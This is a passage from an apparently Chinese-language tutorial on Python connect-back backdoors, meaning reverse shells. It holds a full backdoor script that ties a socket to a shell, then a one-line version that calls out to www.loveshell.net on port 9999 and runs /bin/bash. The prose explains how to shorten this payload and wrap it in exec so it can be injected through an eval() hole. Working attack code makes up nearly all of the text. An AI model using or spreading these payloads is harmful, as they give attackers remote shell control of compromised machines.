def main():
if len(sys.argv) != 3:
usage(sys.argv[0])
sys.exit(1)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
print "[+] Connect ok."
except:
print "[-] Could not connect to %s:%s" % (sys.argv[1], sys.argv[2])
sys.exit(2)
s.send("-------------------- Python Connect-back Backdoor --------------------\n")
s.send("----------------------------- By wofeiwo -----------------------------\n")
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
global shell
os.system(shell)
print "See U!"
s.close()
if __name__ == "__main__": main()
用在漏洞利用的時候不太好,不是麼?我們想要短點的,節省下就是
import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\r\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\r\n");os.system("/bin/bash");s.close();s.send("See u next time!\r\n");
如何?很短了吧?
不過很可能漏洞利用的地方不允許多語句,譬如允許的輸入是在eval當中,不能多語句(後面有解釋)那麼還可以變化下
exec 'import sys;import os;import socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.connect((socket.gethostbyname("www.loveshell.net"),9999));s.send("Welcome my master\\r\\n");os.dup2(s.fileno(), 0);os.dup2(s.fileno(), 1);os.dup2(s.fileno(), 2);s.send("Is there a shell?\\r\\n");os.system("/bin/bash");s.close();s.send("See u next time!\\r\\n");';